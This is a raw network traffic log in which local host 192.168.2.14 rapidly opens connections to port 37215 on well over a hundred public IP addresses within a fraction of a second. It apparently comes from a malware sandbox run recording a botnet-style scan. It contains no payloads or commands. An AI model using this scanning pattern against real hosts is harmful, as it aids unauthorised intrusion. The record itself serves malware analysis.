Oct 8, 2024 20:34:55.558640957 CEST	48169	37215	192.168.2.14	156.217.194.149
Oct 8, 2024 20:34:55.558640957 CEST	48169	37215	192.168.2.14	156.212.40.5
Oct 8, 2024 20:34:55.558646917 CEST	48169	37215	192.168.2.14	197.195.230.154
Oct 8, 2024 20:34:55.558659077 CEST	48169	37215	192.168.2.14	156.243.206.220
Oct 8, 2024 20:34:55.558665991 CEST	48169	37215	192.168.2.14	41.36.16.214
Oct 8, 2024 20:34:55.558675051 CEST	48169	37215	192.168.2.14	197.95.225.253
Oct 8, 2024 20:34:55.558698893 CEST	48169	37215	192.168.2.14	197.241.192.205
Oct 8, 2024 20:34:55.558701992 CEST	48169	37215	192.168.2.14	156.98.194.165
Oct 8, 2024 20:34:55.558706999 CEST	48169	37215	192.168.2.14	41.191.241.216
Oct 8, 2024 20:34:55.558706999 CEST	48169	37215	192.168.2.14	197.209.174.137
Oct 8, 2024 20:34:55.558711052 CEST	48169	37215	192.168.2.14	197.205.164.255
Oct 8, 2024 20:34:55.558717012 CEST	48169	37215	192.168.2.14	197.223.218.245
Oct 8, 2024 20:34:55.558717012 CEST	48169	37215	192.168.2.14	156.147.247.116
Oct 8, 2024 20:34:55.558733940 CEST	48169	37215	192.168.2.14	41.133.109.15
Oct 8, 2024 20:34:55.558738947 CEST	48169	37215	192.168.2.14	156.206.250.54
Oct 8, 2024 20:34:55.558741093 CEST	48169	37215	192.168.2.14	156.56.177.55
Oct 8, 2024 20:34:55.558753014 CEST	48169	37215	192.168.2.14	197.83.195.24
Oct 8, 2024 20:34:55.558762074 CEST	48169	37215	192.168.2.14	156.54.10.123
Oct 8, 2024 20:34:55.558763981 CEST	48169	37215	192.168.2.14	156.11.140.213
Oct 8, 2024 20:34:55.558765888 CEST	48169	37215	192.168.2.14	41.251.56.169
Oct 8, 2024 20:34:55.558779955 CEST	48169	37215	192.168.2.14	41.31.53.162
Oct 8, 2024 20:34:55.558784962 CEST	48169	37215	192.168.2.14	156.160.34.225
Oct 8, 2024 20:34:55.558793068 CEST	48169	37215	192.168.2.14	197.75.121.214
Oct 8, 2024 20:34:55.558799028 CEST	48169	37215	192.168.2.14	41.1.123.165
Oct 8, 2024 20:34:55.558815002 CEST	48169	37215	192.168.2.14	41.24.100.248
Oct 8, 2024 20:34:55.558820009 CEST	48169	37215	192.168.2.14	41.97.104.195
Oct 8, 2024 20:34:55.558832884 CEST	48169	37215	192.168.2.14	197.181.212.24
Oct 8, 2024 20:34:55.558840990 CEST	48169	37215	192.168.2.14	197.148.58.11
Oct 8, 2024 20:34:55.558851004 CEST	48169	37215	192.168.2.14	156.27.27.57
Oct 8, 2024 20:34:55.558851004 CEST	48169	37215	192.168.2.14	156.149.251.156
Oct 8, 2024 20:34:55.558856010 CEST	48169	37215	192.168.2.14	197.19.64.2
Oct 8, 2024 20:34:55.558856010 CEST	48169	37215	192.168.2.14	197.111.133.243
Oct 8, 2024 20:34:55.558871984 CEST	48169	37215	192.168.2.14	197.95.185.245
Oct 8, 2024 20:34:55.558885098 CEST	48169	37215	192.168.2.14	156.32.115.40
Oct 8, 2024 20:34:55.558886051 CEST	48169	37215	192.168.2.14	197.31.5.59
Oct 8, 2024 20:34:55.558891058 CEST	48169	37215	192.168.2.14	41.229.42.192
Oct 8, 2024 20:34:55.558891058 CEST	48169	37215	192.168.2.14	41.169.216.106
Oct 8, 2024 20:34:55.558892012 CEST	48169	37215	192.168.2.14	156.98.228.191
Oct 8, 2024 20:34:55.558906078 CEST	48169	37215	192.168.2.14	197.234.71.232
Oct 8, 2024 20:34:55.558917999 CEST	48169	37215	192.168.2.14	41.113.158.149
Oct 8, 2024 20:34:55.558928013 CEST	48169	37215	192.168.2.14	41.202.79.124
Oct 8, 2024 20:34:55.558932066 CEST	48169	37215	192.168.2.14	197.70.114.166
Oct 8, 2024 20:34:55.558932066 CEST	48169	37215	192.168.2.14	156.104.82.79
Oct 8, 2024 20:34:55.558933973 CEST	48169	37215	192.168.2.14	156.216.253.206
Oct 8, 2024 20:34:55.558933973 CEST	48169	37215	192.168.2.14	156.69.164.131
Oct 8, 2024 20:34:55.558954000 CEST	48169	37215	192.168.2.14	197.19.121.131
Oct 8, 2024 20:34:55.558954954 CEST	48169	37215	192.168.2.14	156.206.95.123
Oct 8, 2024 20:34:55.558968067 CEST	48169	37215	192.168.2.14	197.4.109.225
Oct 8, 2024 20:34:55.558969021 CEST	48169	37215	192.168.2.14	41.26.247.92
Oct 8, 2024 20:34:55.558980942 CEST	48169	37215	192.168.2.14	41.115.148.166
Oct 8, 2024 20:34:55.558980942 CEST	48169	37215	192.168.2.14	41.148.93.214
Oct 8, 2024 20:34:55.558983088 CEST	48169	37215	192.168.2.14	156.6.162.194
Oct 8, 2024 20:34:55.558993101 CEST	48169	37215	192.168.2.14	156.149.199.47
Oct 8, 2024 20:34:55.559000015 CEST	48169	37215	192.168.2.14	197.40.171.239
Oct 8, 2024 20:34:55.559000015 CEST	48169	37215	192.168.2.14	197.213.245.76
Oct 8, 2024 20:34:55.559010983 CEST	48169	37215	192.168.2.14	156.129.202.60
Oct 8, 2024 20:34:55.559014082 CEST	48169	37215	192.168.2.14	156.243.34.231
Oct 8, 2024 20:34:55.559036016 CEST	48169	37215	192.168.2.14	197.10.220.111
Oct 8, 2024 20:34:55.559041023 CEST	48169	37215	192.168.2.14	197.190.25.34
Oct 8, 2024 20:34:55.559046984 CEST	48169	37215	192.168.2.14	197.196.0.166
Oct 8, 2024 20:34:55.559046984 CEST	48169	37215	192.168.2.14	41.215.217.40
Oct 8, 2024 20:34:55.559046984 CEST	48169	37215	192.168.2.14	156.219.23.170
Oct 8, 2024 20:34:55.559050083 CEST	48169	37215	192.168.2.14	41.137.212.175
Oct 8, 2024 20:34:55.559070110 CEST	48169	37215	192.168.2.14	156.237.54.93
Oct 8, 2024 20:34:55.559083939 CEST	48169	37215	192.168.2.14	41.242.186.247
Oct 8, 2024 20:34:55.559218884 CEST	35418	37215	192.168.2.14	41.219.111.19
Oct 8, 2024 20:34:55.559233904 CEST	35418	37215	192.168.2.14	41.219.111.19
Oct 8, 2024 20:34:55.559824944 CEST	35502	37215	192.168.2.14	41.219.111.19
Oct 8, 2024 20:34:55.560424089 CEST	58900	37215	192.168.2.14	156.103.50.200
Oct 8, 2024 20:34:55.560425043 CEST	58900	37215	192.168.2.14	156.103.50.200
Oct 8, 2024 20:34:55.560753107 CEST	58984	37215	192.168.2.14	156.103.50.200
Oct 8, 2024 20:34:55.561250925 CEST	60328	37215	192.168.2.14	156.32.183.41
Oct 8, 2024 20:34:55.561311007 CEST	53542	37215	192.168.2.14	156.125.110.190
Oct 8, 2024 20:34:55.561311007 CEST	53542	37215	192.168.2.14	156.125.110.190
Oct 8, 2024 20:34:55.561736107 CEST	53632	37215	192.168.2.14	156.125.110.190
Oct 8, 2024 20:34:55.561965942 CEST	37215	48169	197.188.135.64	192.168.2.14
Oct 8, 2024 20:34:55.562000036 CEST	37215	48169	156.196.119.180	192.168.2.14
Oct 8, 2024 20:34:55.562021017 CEST	48169	37215	192.168.2.14	197.188.135.64
Oct 8, 2024 20:34:55.562030077 CEST	37215	48169	41.206.217.168	192.168.2.14
Oct 8, 2024 20:34:55.562046051 CEST	48169	37215	192.168.2.14	156.196.119.180
Oct 8, 2024 20:34:55.562062979 CEST	37215	48169	197.148.38.33	192.168.2.14
Oct 8, 2024 20:34:55.562094927 CEST	37215	48169	41.126.206.191	192.168.2.14
Oct 8, 2024 20:34:55.562096119 CEST	48169	37215	192.168.2.14	41.206.217.168
Oct 8, 2024 20:34:55.562118053 CEST	48169	37215	192.168.2.14	197.148.38.33
Oct 8, 2024 20:34:55.562129974 CEST	37215	48169	197.99.192.124	192.168.2.14
Oct 8, 2024 20:34:55.562140942 CEST	48169	37215	192.168.2.14	41.126.206.191
Oct 8, 2024 20:34:55.562170029 CEST	48169	37215	192.168.2.14	197.99.192.124
Oct 8, 2024 20:34:55.562228918 CEST	37215	48169	41.132.104.150	192.168.2.14
Oct 8, 2024 20:34:55.562287092 CEST	48169	37215	192.168.2.14	41.132.104.150
Oct 8, 2024 20:34:55.562330008 CEST	37215	48169	156.150.11.107	192.168.2.14
Oct 8, 2024 20:34:55.562360048 CEST	37215	48169	156.9.173.133	192.168.2.14
Oct 8, 2024 20:34:55.562367916 CEST	48169	37215	192.168.2.14	156.150.11.107
Oct 8, 2024 20:34:55.562390089 CEST	37215	48169	197.84.253.185	192.168.2.14
Oct 8, 2024 20:34:55.562402964 CEST	48169	37215	192.168.2.14	156.9.173.133
Oct 8, 2024 20:34:55.562421083 CEST	37215	48169	197.58.175.124	192.168.2.14
Oct 8, 2024 20:34:55.562436104 CEST	48169	37215	192.168.2.14	197.84.253.185
Oct 8, 2024 20:34:55.562450886 CEST	37215	48169	156.184.128.75	192.168.2.14
Oct 8, 2024 20:34:55.562468052 CEST	48169	37215	192.168.2.14	197.58.175.124
Oct 8, 2024 20:34:55.562482119 CEST	37215	48169	197.68.74.133	192.168.2.14
Oct 8, 2024 20:34:55.562500000 CEST	45628	37215	192.168.2.14	197.188.135.64
Oct 8, 2024 20:34:55.562511921 CEST	37215	48169	197.72.206.33	192.168.2.14
Oct 8, 2024 20:34:55.562525988 CEST	48169	37215	192.168.2.14	197.68.74.133
Oct 8, 2024 20:34:55.562542915 CEST	37215	48169	197.216.205.44	192.168.2.14
Oct 8, 2024 20:34:55.562557936 CEST	48169	37215	192.168.2.14	156.184.128.75
Oct 8, 2024 20:34:55.562558889 CEST	48169	37215	192.168.2.14	197.72.206.33
Oct 8, 2024 20:34:55.562572956 CEST	37215	48169	197.76.150.216	192.168.2.14
Oct 8, 2024 20:34:55.562587976 CEST	48169	37215	192.168.2.14	197.216.205.44
Oct 8, 2024 20:34:55.562602997 CEST	37215	48169	41.178.224.0	192.168.2.14
Oct 8, 2024 20:34:55.562608004 CEST	48169	37215	192.168.2.14	197.76.150.216
Oct 8, 2024 20:34:55.562633038 CEST	37215	48169	41.75.104.202	192.168.2.14
Oct 8, 2024 20:34:55.562655926 CEST	48169	37215	192.168.2.14	41.178.224.0
Oct 8, 2024 20:34:55.562679052 CEST	48169	37215	192.168.2.14	41.75.104.202
Oct 8, 2024 20:34:55.562685013 CEST	37215	48169	197.106.219.53	192.168.2.14
Oct 8, 2024 20:34:55.562715054 CEST	37215	48169	197.23.15.106	192.168.2.14
Oct 8, 2024 20:34:55.562730074 CEST	48169	37215	192.168.2.14	197.106.219.53
Oct 8, 2024 20:34:55.562743902 CEST	37215	48169	156.244.120.81	192.168.2.14
Oct 8, 2024 20:34:55.562773943 CEST	37215	48169	197.171.50.182	192.168.2.14
Oct 8, 2024 20:34:55.562783957 CEST	48169	37215	192.168.2.14	197.23.15.106
Oct 8, 2024 20:34:55.562783957 CEST	48169	37215	192.168.2.14	156.244.120.81
Oct 8, 2024 20:34:55.562803030 CEST	37215	48169	197.160.43.185	192.168.2.14
Oct 8, 2024 20:34:55.562855959 CEST	37215	48169	41.229.137.186	192.168.2.14
Oct 8, 2024 20:34:55.562870026 CEST	48169	37215	192.168.2.14	197.171.50.182
Oct 8, 2024 20:34:55.562871933 CEST	48169	37215	192.168.2.14	197.160.43.185
Oct 8, 2024 20:34:55.562884092 CEST	37215	48169	156.33.229.36	192.168.2.14
Oct 8, 2024 20:34:55.562902927 CEST	48169	37215	192.168.2.14	41.229.137.186
Oct 8, 2024 20:34:55.562913895 CEST	37215	48169	156.54.149.143	192.168.2.14
Oct 8, 2024 20:34:55.562925100 CEST	48169	37215	192.168.2.14	156.33.229.36
Oct 8, 2024 20:34:55.562943935 CEST	37215	48169	41.231.246.166	192.168.2.14
Oct 8, 2024 20:34:55.562954903 CEST	48169	37215	192.168.2.14	156.54.149.143
Oct 8, 2024 20:34:55.562973976 CEST	37215	48169	41.135.235.217	192.168.2.14
Oct 8, 2024 20:34:55.562995911 CEST	48169	37215	192.168.2.14	41.231.246.166
Oct 8, 2024 20:34:55.563009024 CEST	37215	48169	41.82.251.103	192.168.2.14
Oct 8, 2024 20:34:55.563013077 CEST	48169	37215	192.168.2.14	41.135.235.217
Oct 8, 2024 20:34:55.563039064 CEST	37215	48169	156.109.35.230	192.168.2.14
Oct 8, 2024 20:34:55.563054085 CEST	48169	37215	192.168.2.14	41.82.251.103
Oct 8, 2024 20:34:55.563069105 CEST	37215	48169	156.245.87.134	192.168.2.14
Oct 8, 2024 20:34:55.563081026 CEST	48169	37215	192.168.2.14	156.109.35.230
Oct 8, 2024 20:34:55.563097954 CEST	37215	48169	197.95.46.66	192.168.2.14
Oct 8, 2024 20:34:55.563098907 CEST	48169	37215	192.168.2.14	156.245.87.134
Oct 8, 2024 20:34:55.563127041 CEST	37215	48169	41.39.122.43	192.168.2.14
Oct 8, 2024 20:34:55.563133955 CEST	48169	37215	192.168.2.14	197.95.46.66
Oct 8, 2024 20:34:55.563158989 CEST	37215	48169	197.129.182.65	192.168.2.14
Oct 8, 2024 20:34:55.563174963 CEST	48169	37215	192.168.2.14	41.39.122.43
Oct 8, 2024 20:34:55.563194036 CEST	37215	48169	41.61.159.176	192.168.2.14
Oct 8, 2024 20:34:55.563220978 CEST	48169	37215	192.168.2.14	197.129.182.65
Oct 8, 2024 20:34:55.563224077 CEST	37215	48169	41.231.0.126	192.168.2.14
Oct 8, 2024 20:34:55.563241959 CEST	48169	37215	192.168.2.14	41.61.159.176
Oct 8, 2024 20:34:55.563254118 CEST	37215	48169	197.85.197.68	192.168.2.14
Oct 8, 2024 20:34:55.563256979 CEST	48169	37215	192.168.2.14	41.231.0.126
Oct 8, 2024 20:34:55.563257933 CEST	34952	37215	192.168.2.14	156.196.119.180
Oct 8, 2024 20:34:55.563283920 CEST	37215	48169	41.114.141.158	192.168.2.14
Oct 8, 2024 20:34:55.563293934 CEST	48169	37215	192.168.2.14	197.85.197.68
Oct 8, 2024 20:34:55.563328028 CEST	48169	37215	192.168.2.14	41.114.141.158
Oct 8, 2024 20:34:55.563458920 CEST	37215	48169	41.104.123.154	192.168.2.14
Oct 8, 2024 20:34:55.563488960 CEST	37215	48169	197.75.145.101	192.168.2.14
Oct 8, 2024 20:34:55.563502073 CEST	48169	37215	192.168.2.14	41.104.123.154
Oct 8, 2024 20:34:55.563518047 CEST	37215	48169	41.144.57.235	192.168.2.14
Oct 8, 2024 20:34:55.563539982 CEST	48169	37215	192.168.2.14	197.75.145.101
Oct 8, 2024 20:34:55.563568115 CEST	48169	37215	192.168.2.14	41.144.57.235
Oct 8, 2024 20:34:55.563570023 CEST	37215	48169	156.173.191.194	192.168.2.14
Oct 8, 2024 20:34:55.563600063 CEST	37215	48169	41.75.12.165	192.168.2.14
Oct 8, 2024 20:34:55.563611984 CEST	48169	37215	192.168.2.14	156.173.191.194
Oct 8, 2024 20:34:55.563632965 CEST	37215	48169	156.66.30.6	192.168.2.14
Oct 8, 2024 20:34:55.563644886 CEST	48169	37215	192.168.2.14	41.75.12.165
Oct 8, 2024 20:34:55.563666105 CEST	37215	48169	156.60.152.213	192.168.2.14
Oct 8, 2024 20:34:55.563676119 CEST	48169	37215	192.168.2.14	156.66.30.6
Oct 8, 2024 20:34:55.563689947 CEST	48169	37215	192.168.2.14	156.60.152.213
Oct 8, 2024 20:34:55.563698053 CEST	37215	48169	197.21.120.182	192.168.2.14
Oct 8, 2024 20:34:55.563726902 CEST	37215	48169	197.237.224.136	192.168.2.14
Oct 8, 2024 20:34:55.563739061 CEST	48169	37215	192.168.2.14	197.21.120.182
Oct 8, 2024 20:34:55.563755989 CEST	37215	48169	197.71.140.28	192.168.2.14
Oct 8, 2024 20:34:55.563781023 CEST	48169	37215	192.168.2.14	197.237.224.136
Oct 8, 2024 20:34:55.563785076 CEST	37215	48169	41.212.4.209	192.168.2.14
Oct 8, 2024 20:34:55.563795090 CEST	48169	37215	192.168.2.14	197.71.140.28
Oct 8, 2024 20:34:55.563815117 CEST	37215	48169	41.3.52.83	192.168.2.14
Oct 8, 2024 20:34:55.563828945 CEST	48169	37215	192.168.2.14	41.212.4.209
Oct 8, 2024 20:34:55.563844919 CEST	37215	48169	156.126.6.231	192.168.2.14
Oct 8, 2024 20:34:55.563860893 CEST	48169	37215	192.168.2.14	41.3.52.83
Oct 8, 2024 20:34:55.563874960 CEST	37215	48169	197.91.221.188	192.168.2.14
Oct 8, 2024 20:34:55.563905001 CEST	48169	37215	192.168.2.14	156.126.6.231
Oct 8, 2024 20:34:55.563905954 CEST	37215	48169	197.42.54.201	192.168.2.14
Oct 8, 2024 20:34:55.563920975 CEST	48169	37215	192.168.2.14	197.91.221.188
Oct 8, 2024 20:34:55.563935995 CEST	37215	48169	156.166.199.178	192.168.2.14
Oct 8, 2024 20:34:55.563947916 CEST	48169	37215	192.168.2.14	197.42.54.201
Oct 8, 2024 20:34:55.563966990 CEST	37215	48169	197.123.151.190	192.168.2.14
Oct 8, 2024 20:34:55.563976049 CEST	48169	37215	192.168.2.14	156.166.199.178
Oct 8, 2024 20:34:55.564002037 CEST	37215	48169	41.231.238.172	192.168.2.14
Oct 8, 2024 20:34:55.564012051 CEST	48169	37215	192.168.2.14	197.123.151.190
Oct 8, 2024 20:34:55.564030886 CEST	37215	48169	197.206.159.179	192.168.2.14
Oct 8, 2024 20:34:55.564043999 CEST	48169	37215	192.168.2.14	41.231.238.172
Oct 8, 2024 20:34:55.564060926 CEST	37215	48169	41.241.68.240	192.168.2.14
Oct 8, 2024 20:34:55.564068079 CEST	36322	37215	192.168.2.14	41.206.217.168
Oct 8, 2024 20:34:55.564073086 CEST	48169	37215	192.168.2.14	197.206.159.179
Oct 8, 2024 20:34:55.564096928 CEST	37215	48169	197.26.143.211	192.168.2.14
Oct 8, 2024 20:34:55.564105034 CEST	48169	37215	192.168.2.14	41.241.68.240
Oct 8, 2024 20:34:55.564126968 CEST	37215	48169	156.156.68.138	192.168.2.14
Oct 8, 2024 20:34:55.564141989 CEST	48169	37215	192.168.2.14	197.26.143.211
Oct 8, 2024 20:34:55.564157009 CEST	37215	48169	41.67.30.14	192.168.2.14
Oct 8, 2024 20:34:55.564157963 CEST	48169	37215	192.168.2.14	156.156.68.138
Oct 8, 2024 20:34:55.564187050 CEST	37215	48169	197.161.78.217	192.168.2.14
Oct 8, 2024 20:34:55.564197063 CEST	48169	37215	192.168.2.14	41.67.30.14
Oct 8, 2024 20:34:55.564218044 CEST	37215	48169	156.68.141.208	192.168.2.14
Oct 8, 2024 20:34:55.564225912 CEST	48169	37215	192.168.2.14	197.161.78.217
Oct 8, 2024 20:34:55.564248085 CEST	37215	48169	197.145.161.203	192.168.2.14
Oct 8, 2024 20:34:55.564259052 CEST	48169	37215	192.168.2.14	156.68.141.208
Oct 8, 2024 20:34:55.564276934 CEST	37215	48169	156.131.17.222	192.168.2.14
Oct 8, 2024 20:34:55.564285040 CEST	48169	37215	192.168.2.14	197.145.161.203
Oct 8, 2024 20:34:55.564306974 CEST	37215	48169	156.188.212.194	192.168.2.14
Oct 8, 2024 20:34:55.564326048 CEST	48169	37215	192.168.2.14	156.131.17.222
Oct 8, 2024 20:34:55.564337015 CEST	37215	48169	197.11.34.87	192.168.2.14
Oct 8, 2024 20:34:55.564353943 CEST	48169	37215	192.168.2.14	156.188.212.194
Oct 8, 2024 20:34:55.564366102 CEST	37215	48169	156.76.221.229	192.168.2.14
Oct 8, 2024 20:34:55.564367056 CEST	48169	37215	192.168.2.14	197.11.34.87
Oct 8, 2024 20:34:55.564393997 CEST	37215	48169	197.69.64.180	192.168.2.14
Oct 8, 2024 20:34:55.564409971 CEST	48169	37215	192.168.2.14	156.76.221.229
Oct 8, 2024 20:34:55.564424038 CEST	37215	48169	197.30.191.205	192.168.2.14
Oct 8, 2024 20:34:55.564434052 CEST	48169	37215	192.168.2.14	197.69.64.180
Oct 8, 2024 20:34:55.564452887 CEST	37215	48169	197.70.7.124	192.168.2.14
Oct 8, 2024 20:34:55.564464092 CEST	48169	37215	192.168.2.14	197.30.191.205
Oct 8, 2024 20:34:55.564482927 CEST	37215	48169	197.56.118.247	192.168.2.14
Oct 8, 2024 20:34:55.564496994 CEST	48169	37215	192.168.2.14	197.70.7.124
Oct 8, 2024 20:34:55.564512014 CEST	37215	48169	41.4.87.40	192.168.2.14
Oct 8, 2024 20:34:55.564512968 CEST	48169	37215	192.168.2.14	197.56.118.247
Oct 8, 2024 20:34:55.564542055 CEST	37215	48169	156.88.229.99	192.168.2.14
Oct 8, 2024 20:34:55.564548016 CEST	48169	37215	192.168.2.14	41.4.87.40
Oct 8, 2024 20:34:55.564572096 CEST	37215	48169	41.44.129.66	192.168.2.14
Oct 8, 2024 20:34:55.564591885 CEST	48169	37215	192.168.2.14	156.88.229.99
Oct 8, 2024 20:34:55.564600945 CEST	37215	48169	41.193.92.74	192.168.2.14
Oct 8, 2024 20:34:55.564620018 CEST	48169	37215	192.168.2.14	41.44.129.66
Oct 8, 2024 20:34:55.564632893 CEST	37215	48169	41.116.215.52	192.168.2.14
Oct 8, 2024 20:34:55.564640999 CEST	48169	37215	192.168.2.14	41.193.92.74
Oct 8, 2024 20:34:55.564686060 CEST	37215	35418	41.219.111.19	192.168.2.14
Oct 8, 2024 20:34:55.564687967 CEST	48169	37215	192.168.2.14	41.116.215.52
Oct 8, 2024 20:34:55.564838886 CEST	42350	37215	192.168.2.14	197.148.38.33
Oct 8, 2024 20:34:55.565500021 CEST	37215	58900	156.103.50.200	192.168.2.14
Oct 8, 2024 20:34:55.565635920 CEST	42346	37215	192.168.2.14	41.126.206.191
Oct 8, 2024 20:34:55.566332102 CEST	37215	53542	156.125.110.190	192.168.2.14
Oct 8, 2024 20:34:55.566349983 CEST	47628	37215	192.168.2.14	197.99.192.124
Oct 8, 2024 20:34:55.567003965 CEST	37215	60328	156.32.183.41	192.168.2.14
Oct 8, 2024 20:34:55.567044020 CEST	60328	37215	192.168.2.14	156.32.183.41
Oct 8, 2024 20:34:55.567286968 CEST	38012	37215	192.168.2.14	41.132.104.150
Oct 8, 2024 20:34:55.568150997 CEST	46902	37215	192.168.2.14	156.150.11.107
Oct 8, 2024 20:34:55.568912029 CEST	54450	37215	192.168.2.14	156.9.173.133
Oct 8, 2024 20:34:55.569766045 CEST	59618	37215	192.168.2.14	197.84.253.185
Oct 8, 2024 20:34:55.570468903 CEST	37215	36322	41.206.217.168	192.168.2.14
Oct 8, 2024 20:34:55.570532084 CEST	36322	37215	192.168.2.14	41.206.217.168
Oct 8, 2024 20:34:55.570537090 CEST	52562	37215	192.168.2.14	197.58.175.124
Oct 8, 2024 20:34:55.571434975 CEST	41320	37215	192.168.2.14	156.184.128.75
Oct 8, 2024 20:34:55.572165966 CEST	48848	37215	192.168.2.14	197.68.74.133
Oct 8, 2024 20:34:55.573061943 CEST	37532	37215	192.168.2.14	197.72.206.33
Oct 8, 2024 20:34:55.573813915 CEST	46438	37215	192.168.2.14	197.216.205.44
Oct 8, 2024 20:34:55.574618101 CEST	59298	37215	192.168.2.14	197.76.150.216
Oct 8, 2024 20:34:55.575396061 CEST	38666	37215	192.168.2.14	41.178.224.0
Oct 8, 2024 20:34:55.576170921 CEST	34380	37215	192.168.2.14	41.75.104.202
Oct 8, 2024 20:34:55.576865911 CEST	37215	41320	156.184.128.75	192.168.2.14
Oct 8, 2024 20:34:55.576925993 CEST	41320	37215	192.168.2.14	156.184.128.75
Oct 8, 2024 20:34:55.576946020 CEST	40440	37215	192.168.2.14	197.106.219.53
Oct 8, 2024 20:34:55.577795029 CEST	56842	37215	192.168.2.14	197.23.15.106
Oct 8, 2024 20:34:55.578536034 CEST	42986	37215	192.168.2.14	156.244.120.81
Oct 8, 2024 20:34:55.579322100 CEST	52216	37215	192.168.2.14	197.171.50.182
Oct 8, 2024 20:34:55.580075979 CEST	44342	37215	192.168.2.14	197.160.43.185
Oct 8, 2024 20:34:55.580811977 CEST	56282	37215	192.168.2.14	41.229.137.186
Oct 8, 2024 20:34:55.581496954 CEST	50024	37215	192.168.2.14	156.33.229.36
Oct 8, 2024 20:34:55.582261086 CEST	38612	37215	192.168.2.14	156.54.149.143
Oct 8, 2024 20:34:55.582997084 CEST	58536	37215	192.168.2.14	41.231.246.166
Oct 8, 2024 20:34:55.583364010 CEST	51628	37215	192.168.2.14	156.80.45.236
Oct 8, 2024 20:34:55.583368063 CEST	44096	37215	192.168.2.14	156.196.127.99
Oct 8, 2024 20:34:55.583373070 CEST	54646	37215	192.168.2.14	156.161.55.245
Oct 8, 2024 20:34:55.583379030 CEST	48998	37215	192.168.2.14	41.249.12.127
Oct 8, 2024 20:34:55.583388090 CEST	51348	37215	192.168.2.14	197.116.210.230
Oct 8, 2024 20:34:55.583388090 CEST	46782	37215	192.168.2.14	41.149.36.112
Oct 8, 2024 20:34:55.583389997 CEST	34024	37215	192.168.2.14	156.226.59.25
Oct 8, 2024 20:34:55.583410025 CEST	51876	37215	192.168.2.14	41.110.87.225
Oct 8, 2024 20:34:55.583415031 CEST	48040	37215	192.168.2.14	41.1.145.144
Oct 8, 2024 20:34:55.583415031 CEST	37934	37215	192.168.2.14	156.143.124.66
Oct 8, 2024 20:34:55.583424091 CEST	40430	37215	192.168.2.14	156.185.63.71
Oct 8, 2024 20:34:55.583437920 CEST	42472	37215	192.168.2.14	156.60.195.206
Oct 8, 2024 20:34:55.583437920 CEST	46260	37215	192.168.2.14	156.166.209.196
Oct 8, 2024 20:34:55.583437920 CEST	40262	37215	192.168.2.14	156.42.166.221
Oct 8, 2024 20:34:55.583448887 CEST	55492	37215	192.168.2.14	197.55.132.116
Oct 8, 2024 20:34:55.583448887 CEST	46152	37215	192.168.2.14	197.107.207.131
Oct 8, 2024 20:34:55.583448887 CEST	39894	37215	192.168.2.14	41.150.102.212
Oct 8, 2024 20:34:55.583456039 CEST	39984	37215	192.168.2.14	197.22.60.61
Oct 8, 2024 20:34:55.583456039 CEST	37822	37215	192.168.2.14	156.190.184.19
Oct 8, 2024 20:34:55.583460093 CEST	45060	37215	192.168.2.14	41.218.37.60
Oct 8, 2024 20:34:55.583460093 CEST	49546	37215	192.168.2.14	197.69.143.158
Oct 8, 2024 20:34:55.583462000 CEST	47336	37215	192.168.2.14	156.26.171.128
Oct 8, 2024 20:34:55.583470106 CEST	53964	37215	192.168.2.14	197.41.200.182
Oct 8, 2024 20:34:55.583470106 CEST	60550	37215	192.168.2.14	156.240.192.197
Oct 8, 2024 20:34:55.583479881 CEST	52292	37215	192.168.2.14	156.126.200.175
Oct 8, 2024 20:34:55.583479881 CEST	36556	37215	192.168.2.14	197.163.232.58
Oct 8, 2024 20:34:55.583484888 CEST	33972	37215	192.168.2.14	41.113.31.144
Oct 8, 2024 20:34:55.583492041 CEST	34060	37215	192.168.2.14	41.131.40.164
Oct 8, 2024 20:34:55.583492041 CEST	42260	37215	192.168.2.14	41.213.200.73
Oct 8, 2024 20:34:55.583492994 CEST	41154	37215	192.168.2.14	41.145.207.152
Oct 8, 2024 20:34:55.583492994 CEST	54546	37215	192.168.2.14	41.168.12.102
Oct 8, 2024 20:34:55.583501101 CEST	52680	37215	192.168.2.14	156.224.232.229
Oct 8, 2024 20:34:55.583515882 CEST	41064	37215	192.168.2.14	197.10.242.92
Oct 8, 2024 20:34:55.583517075 CEST	59992	37215	192.168.2.14	197.129.240.243
Oct 8, 2024 20:34:55.583523989 CEST	35484	37215	192.168.2.14	156.172.212.115
Oct 8, 2024 20:34:55.583533049 CEST	53356	37215	192.168.2.14	41.154.117.250
Oct 8, 2024 20:34:55.583533049 CEST	33422	37215	192.168.2.14	41.231.143.196
Oct 8, 2024 20:34:55.583537102 CEST	60258	37215	192.168.2.14	156.155.185.214
Oct 8, 2024 20:34:55.583892107 CEST	40216	37215	192.168.2.14	41.135.235.217
Oct 8, 2024 20:34:55.584680080 CEST	39250	37215	192.168.2.14	41.82.251.103
Oct 8, 2024 20:34:55.585385084 CEST	48824	37215	192.168.2.14	156.109.35.230
Oct 8, 2024 20:34:55.586172104 CEST	40384	37215	192.168.2.14	156.245.87.134
Oct 8, 2024 20:34:55.586904049 CEST	45108	37215	192.168.2.14	197.95.46.66
Oct 8, 2024 20:34:55.587759972 CEST	47852	37215	192.168.2.14	41.39.122.43
Oct 8, 2024 20:34:55.588558912 CEST	35120	37215	192.168.2.14	197.129.182.65
Oct 8, 2024 20:34:55.589128017 CEST	37215	51876	41.110.87.225	192.168.2.14
Oct 8, 2024 20:34:55.589202881 CEST	51876	37215	192.168.2.14	41.110.87.225
Oct 8, 2024 20:34:55.589297056 CEST	33968	37215	192.168.2.14	41.61.159.176
Oct 8, 2024 20:34:55.590152979 CEST	57284	37215	192.168.2.14	41.231.0.126
Oct 8, 2024 20:34:55.590961933 CEST	46584	37215	192.168.2.14	197.85.197.68
Oct 8, 2024 20:34:55.591706991 CEST	56026	37215	192.168.2.14	41.114.141.158
Oct 8, 2024 20:34:55.592472076 CEST	49604	37215	192.168.2.14	41.104.123.154
Oct 8, 2024 20:34:55.593410015 CEST	37648	37215	192.168.2.14	197.75.145.101
Oct 8, 2024 20:34:55.594258070 CEST	43886	37215	192.168.2.14	41.144.57.235
Oct 8, 2024 20:34:55.595114946 CEST	45286	37215	192.168.2.14	156.173.191.194
Oct 8, 2024 20:34:55.595969915 CEST	49024	37215	192.168.2.14	41.75.12.165
Oct 8, 2024 20:34:55.596739054 CEST	35398	37215	192.168.2.14	156.66.30.6
Oct 8, 2024 20:34:55.597042084 CEST	37215	56026	41.114.141.158	192.168.2.14
Oct 8, 2024 20:34:55.597098112 CEST	56026	37215	192.168.2.14	41.114.141.158
Oct 8, 2024 20:34:55.597528934 CEST	44852	37215	192.168.2.14	156.60.152.213
Oct 8, 2024 20:34:55.598285913 CEST	53964	37215	192.168.2.14	197.21.120.182
